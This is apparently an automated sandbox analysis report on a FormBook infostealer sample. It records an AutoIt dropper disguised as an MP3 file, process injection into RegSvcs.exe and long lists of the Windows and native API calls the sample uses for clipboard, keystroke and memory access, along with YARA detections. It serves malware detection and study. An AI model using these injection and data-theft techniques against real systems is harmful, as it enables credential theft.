                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007360000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2276994283.000000000157D000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2277966103.0000000001580000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2428154533.0000000000B4F000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe.8.dr, lijei.mp3.exe.exe.15.dr, lijei.mp3.exe0.8.dr, lijei.mp3.8.dr, lijei.mp3.0.drString found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007360000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2276994283.000000000157D000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2277966103.0000000001580000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2428154533.0000000000B4F000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe.8.dr, lijei.mp3.exe.exe.15.dr, lijei.mp3.exe0.8.dr, lijei.mp3.8.dr, lijei.mp3.0.drString found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007360000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2276994283.000000000157D000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000000.2256080886.0000000000975000.00000002.00000001.01000000.0000000A.sdmp, lijei.mp3, 00000008.00000003.2277966103.0000000001580000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000002.2512836640.0000000000F85000.00000002.00000001.01000000.0000000C.sdmp, lijei.mp3.exe, 0000000F.00000003.2428154533.0000000000B4F000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe.8.dr, lijei.mp3.exe.exe.15.dr, lijei.mp3.exe0.8.dr, lijei.mp3.8.dr, lijei.mp3.0.drString found in binary or memory: http://www.autoitscript.com/autoit3/J
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007360000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2276994283.000000000157D000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2277966103.0000000001580000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2428154533.0000000000B4F000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe.8.dr, lijei.mp3.exe.exe.15.dr, lijei.mp3.exe0.8.dr, lijei.mp3.8.dr, lijei.mp3.0.drString found in binary or memory: https://www.autoitscript.com/autoit3/
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007360000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2276994283.000000000157D000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2277966103.0000000001580000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2428154533.0000000000B4F000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe.8.dr, lijei.mp3.exe.exe.15.dr, lijei.mp3.exe0.8.dr, lijei.mp3.8.dr, lijei.mp3.0.drString found in binary or memory: https://www.globalsign.com/repository/0
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_0091F45C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,8_2_0091F45C
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_0091F6C7 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,8_2_0091F6C7
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00F2F6C7 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,15_2_00F2F6C7
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_0091F45C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,8_2_0091F45C
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_0090A54A GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,8_2_0090A54A
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_00939ED5 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,8_2_00939ED5
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00F49ED5 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,15_2_00F49ED5

                E-Banking Fraud

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 14.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 14.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0000000E.00000002.2818895373.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000E.00000002.2819115818.00000000012A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

                System Summary

                barindex
                Windows Scripting host queries suspicious COM object (likely to drop second stage)
                Source: C:\Windows\SysWOW64\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0042CCE3 NtClose,14_2_0042CCE3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2DF0 NtQuerySystemInformation,LdrInitializeThunk,14_2_018B2DF0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2C70 NtFreeVirtualMemory,LdrInitializeThunk,14_2_018B2C70
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B35C0 NtCreateMutant,LdrInitializeThunk,14_2_018B35C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B4340 NtSetContextThread,14_2_018B4340
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B4650 NtSuspendThread,14_2_018B4650
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2B80 NtQueryInformationFile,14_2_018B2B80
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2BA0 NtEnumerateValueKey,14_2_018B2BA0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2BE0 NtQueryValueKey,14_2_018B2BE0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2BF0 NtAllocateVirtualMemory,14_2_018B2BF0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2B60 NtClose,14_2_018B2B60
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2AB0 NtWaitForSingleObject,14_2_018B2AB0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2AD0 NtReadFile,14_2_018B2AD0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2AF0 NtWriteFile,14_2_018B2AF0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2DB0 NtEnumerateKey,14_2_018B2DB0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2DD0 NtDelayExecution,14_2_018B2DD0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2D00 NtSetInformationFile,14_2_018B2D00
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2D10 NtMapViewOfSection,14_2_018B2D10
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2D30 NtUnmapViewOfSection,14_2_018B2D30
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2CA0 NtQueryInformationToken,14_2_018B2CA0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2CC0 NtQueryVirtualMemory,14_2_018B2CC0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2CF0 NtOpenProcess,14_2_018B2CF0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2C00 NtQueryInformationProcess,14_2_018B2C00
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2C60 NtCreateKey,14_2_018B2C60
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2F90 NtProtectVirtualMemory,14_2_018B2F90
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2FA0 NtQuerySection,14_2_018B2FA0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2FB0 NtResumeThread,14_2_018B2FB0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2FE0 NtCreateFile,14_2_018B2FE0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2F30 NtCreateSection,14_2_018B2F30
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2F60 NtCreateProcessEx,14_2_018B2F60
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2E80 NtReadVirtualMemory,14_2_018B2E80
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2EA0 NtAdjustPrivilegesToken,14_2_018B2EA0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2EE0 NtQueueApcThread,14_2_018B2EE0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2E30 NtWriteVirtualMemory,14_2_018B2E30
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B3090 NtSetValueKey,14_2_018B3090
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B3010 NtOpenDirectoryObject,14_2_018B3010
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B39B0 NtGetContextThread,14_2_018B39B0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B3D10 NtOpenProcessToken,14_2_018B3D10
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B3D70 NtOpenThread,14_2_018B3D70
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D79B5C: _wcslen,CreateFileW,CloseHandle,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,0_2_00D79B5C
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_00901A91 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,8_2_00901A91
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_0090F122 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,8_2_0090F122
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00F1F122 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,15_2_00F1F122
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D8355D0_2_00D8355D
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D8B76F0_2_00D8B76F
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D7BF3D0_2_00D7BF3D
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D9C0D60_2_00D9C0D6
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D8A0080_2_00D8A008
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D992D00_2_00D992D0
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D8C27F0_2_00D8C27F
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D852140_2_00D85214
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D8A2220_2_00D8A222
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00DA43600_2_00DA4360
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00DA86D20_2_00DA86D2
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D846CF0_2_00D846CF
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D748AA0_2_00D748AA
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00DA480E0_2_00DA480E
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D75AFE0_2_00D75AFE
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D8ABC80_2_00D8ABC8
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D77CBA0_2_00D77CBA
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D8BC050_2_00D8BC05
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D73D9D0_2_00D73D9D
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D84D320_2_00D84D32
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D9BEA70_2_00D9BEA7
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D85F0B0_2_00D85F0B
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D75F390_2_00D75F39
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_016057F08_3_016057F0
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_016060798_3_01606079
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_016068C08_3_016068C0
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_016075308_3_01607530
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_016060808_3_01606080
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_016070908_3_01607090
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_016070928_3_01607092
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_01570C798_3_01570C79
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015B8D388_3_015B8D38
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015B8D388_3_015B8D38
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015721308_3_01572130
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015B80C88_3_015B80C8
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015B80C88_3_015B80C8
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015714C08_3_015714C0
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015B6FF88_3_015B6FF8
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015B6FF88_3_015B6FF8
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015703F08_3_015703F0
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015B889A8_3_015B889A
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015B889A8_3_015B889A
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015B88988_3_015B8898
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015B88988_3_015B8898
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_01571C928_3_01571C92
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_01571C908_3_01571C90
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015B78888_3_015B7888
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015B78888_3_015B7888
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_01570C808_3_01570C80
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015B78818_3_015B7881
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015B78818_3_015B7881
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_01570C798_3_01570C79
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015B8D388_3_015B8D38
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015B8D388_3_015B8D38
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015721308_3_01572130
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015B80C88_3_015B80C8
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015B80C88_3_015B80C8
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015714C08_3_015714C0
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015B6FF88_3_015B6FF8
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015B6FF88_3_015B6FF8
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015703F08_3_015703F0
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015B889A8_3_015B889A
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015B889A8_3_015B889A
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015B88988_3_015B8898
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015B88988_3_015B8898
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_01571C928_3_01571C92
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_01571C908_3_01571C90
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015B78888_3_015B7888
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015B78888_3_015B7888
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_01570C808_3_01570C80
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015B78818_3_015B7881
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_3_015B78818_3_015B7881
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_008BE0BE8_2_008BE0BE
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_008C80378_2_008C8037
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_008AE1A08_2_008AE1A0
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_008DA28E8_2_008DA28E
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_008A225D8_2_008A225D
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_008BC59E8_2_008BC59E
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_0092C7A38_2_0092C7A3
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_008DE89F8_2_008DE89F
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_0091291A8_2_0091291A
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_008D6AFB8_2_008D6AFB
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_00908B278_2_00908B27
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_008CCE308_2_008CCE30
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_009351D28_2_009351D2
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_008D71698_2_008D7169
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_008A92408_2_008A9240
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_008A94998_2_008A9499
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_008C17248_2_008C1724
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_008C7BAB8_2_008C7BAB
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_008A9B608_2_008A9B60
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_008C7DDA8_2_008C7DDA
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_004031C014_2_004031C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0042F2C314_2_0042F2C3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_004103E314_2_004103E3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0040255014_2_00402550
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_00402D2014_2_00402D20
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_00402D2214_2_00402D22
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_00416DEE14_2_00416DEE
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_00416DF314_2_00416DF3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0041060314_2_00410603
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0040E60314_2_0040E603
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0040E74714_2_0040E747
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0040E75314_2_0040E753
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0040E79C14_2_0040E79C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_019341A214_2_019341A2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_019401AA14_2_019401AA
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_019381CC14_2_019381CC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187010014_2_01870100
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0191A11814_2_0191A118
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0190815814_2_01908158
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0191200014_2_01912000
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_019403E614_2_019403E6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0188E3F014_2_0188E3F0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0193A35214_2_0193A352
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_019002C014_2_019002C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0192027414_2_01920274
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0194059114_2_01940591
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0188053514_2_01880535
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0192E4F614_2_0192E4F6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0192442014_2_01924420
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0193244614_2_01932446
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187C7C014_2_0187C7C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A475014_2_018A4750
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0188077014_2_01880770
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189C6E014_2_0189C6E0
